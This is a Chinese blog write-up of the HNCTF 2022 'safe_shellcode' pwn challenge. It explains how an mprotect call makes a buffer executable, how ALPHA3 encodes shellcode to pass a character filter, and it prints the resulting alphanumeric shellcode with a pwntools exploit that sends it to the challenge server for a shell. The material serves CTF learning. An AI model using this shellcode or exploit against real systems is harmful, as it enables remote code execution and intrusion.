首页 > 系统相关 >safe_shellcode

safe_shellcode

时间:2024-07-05 23:11:29浏览次数:5  
标签:shellcode mprotect safe io ascii buff

[HNCTF 2022 Week1]safe_shellcode

思路

下载附件,名称为shellcoder,很明显的shellcode提示。

判断题目解法可能是shellcode利用

常规流程查看保护
Pasted image 20240705220643

发现存在NX保护,但是让我们以shellcode的思路去解题,则可能存在修改权限的函数mprotect

ida打开分析
Pasted image 20240705220814

分析代码,发现存在一个mprotect函数修改区段权限为可读可写可执行。

read函数将输入写入局部变量s,之后存在条件判断如果存在指定ASCII码范围内的字符则退出。

查看ASCII码表

即限制范围为 /~z。

之后一个strcpy函数将局部变量中的数据复制进buff,并且将buff当作代码执行。

动态调试查看buff是否具有可执行权限。
Pasted image 20240705223545

发现mprotect函数将0x404000到0x405000之间修改为可读可写可执行。

ida查看发现buff变量存在与范围之间
Pasted image 20240705223704

则可以通过项局部变量中写入shellcode实现利用,但是我们必须绕过限制。

所以写入的shellcode字符必须在范围之间。

这里利用一个shellcode编码工具啊alpha3。

具体使用请参考这篇文章

手把手教你写纯字符ascii shellcode——最通俗易懂的alphanumeric shellcode生成指南_ascii可见shellcode-CSDN博客

alpha3

生成包含数字和大小写字母的shellcode

python ./ALPHA3.py x64 ascii mixedcase rax --input="shellcode"

结果:Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

可以看到shellcode由数字和大小写字母组成,正好在限制范围内。

根据解题思路构造exploit

exp

from pwn import *

#io=process("./shellcoder")
io=remote("node5.anna.nssctf.cn",28258)
shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"                                                 
io.send(shellcode)
io.interactive()

总结

  • shellcode
  • shellcode编码
  • mprotect

标签:shellcode,mprotect,safe,io,ascii,buff
From: https://www.cnblogs.com/nanhang/p/18286742

相关文章

  • Leangoo领歌:敏捷研发管理与SAFe工具
    ​在当今快速变化的市场环境中,企业对于研发效率和质量的要求日益提高。为了应对这一挑战,敏捷研发方法应运而生,并迅速成为众多企业的首选,然而,如何有效地实施敏捷研发,确保团队之间的高效协作和项目的顺利推进,成为了摆在众多企业面前的难题。Leangoo作为一款敏捷研发一体化平台,为企......
  • golang如何使用指针灵活操作内存?unsafe包原理解析
    Hi你好,我是k哥。一个大厂工作6年,还在继续搬砖的后端程序员。我们都知道,C/C++提供了强大的万能指针void*,任何类型的指针都可以和万能指针相互转换。并且指针还可以进行加减等算数操作。那么在Golang中,是否有类似的功能呢?答案是有的,这就是我们今天要探讨的unsafe包。本文将深入探......
  • 【异常】nested exception is java.lang.NoClassDefFoundError: redis/clients/jedis/
    原因是版本冲突。以下我原本使用的版本信息<!--SpringBootRedis依赖--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId><version>2.1.8.RELEASE</version><......
  • Python安全字符串处理工具库之markupsafe使用详解
    概要在Web开发和模版渲染中,处理用户输入的数据时,防止HTML注入是至关重要的。markupsafe 是一个Python库,专门用于确保字符串在插入HTML时的安全性。它提供了一个安全的字符串类型,可以自动转义特殊字符,防止潜在的安全漏洞。本文将详细介绍 markupsafe 库,包括其安装......
  • [GDOUCTF 2023] Shellcode
    [GDOUCTF2023]Shellcoderet2shellcode|shellcodeint__fastcallmain(intargc,constchar**argv,constchar**envp){charbuf[10];//[rsp+6h][rbp-Ah]BYREFsetbuf(stdin,0LL);setbuf(stderr,0LL);setbuf(stdout,0LL);mprotect((&stdout......
  • 'scanf': This function or variable may be unsafe. Consider using scanf_s instead
    在C++中使用scanf时应注意两点1.导入#include<cstdio>2.将scanf改成scanf_s  VS2022实现查找替换编辑——》查找和替换——》在文件中替换 输入要查找替换的名称 点击全部替换完成......
  • SwiftUI中SafeArea的管理与使用(ignoresSafeArea, safeAreaPadding, safeAreaInset)
    SafeArea是指不与视图控制器提供的导航栏、选项卡栏、工具栏或其他视图重叠的内容空间。在UIKit中,开发人员需要使用safeAreaInsets或safeAreaLayoutGuide来确保视图被放置在界面的可见部分。SwiftUI彻底简化了上述过程,除非开发者明确要求视图突破安全区域的限制,否则SwiftU......
  • pwn学习-ret2shellcode
    今天学习了pwn中的ret2shellcode,在之前学习的ret2text中,程序给我们留下了后门函数,可以直接溢出执行,而ret2shellcode是最经典的栈溢出漏洞利用方法,简单原理如下:在栈溢出漏洞利用成功后,我们可以控制返回地址代码执行,但是这些代码在程序中默认没有,需要我们自己添加,这段代码被称为s......
  • 当面试官问出“Unsafe”类时,我就知道这场面试废了,祖坟都能给你问出来!
    一、写在开头依稀记得多年以前的一场面试中,面试官从Java并发编程问到了锁,从锁问到了原子性,从原子性问到了Atomic类库(对着JUC包进行了刨根问底),从Atomic问到了CAS算法,紧接着又有追问到了底层的Unsafe类,当问到Unsafe类时,我就知道这场面试废了,这似乎把祖坟都能给问冒烟啊。但时过境......
  • 权威SAFe大规模敏捷企业级内训及SAFe敏捷认证
    ​SAFe–ScaledAgileFramework是目前全球运用最广泛的大规模敏捷框架,也是成长最快、最被认可、最有价值的规模化敏捷框架,目前全球SAFe认证专业人士已达80万人,福布斯100强的70%都在实施SAFe。本课程是一个2天的SAFe权威培训课程,在课程中,学员将系统地学习大规模敏捷框架(SAFe)的......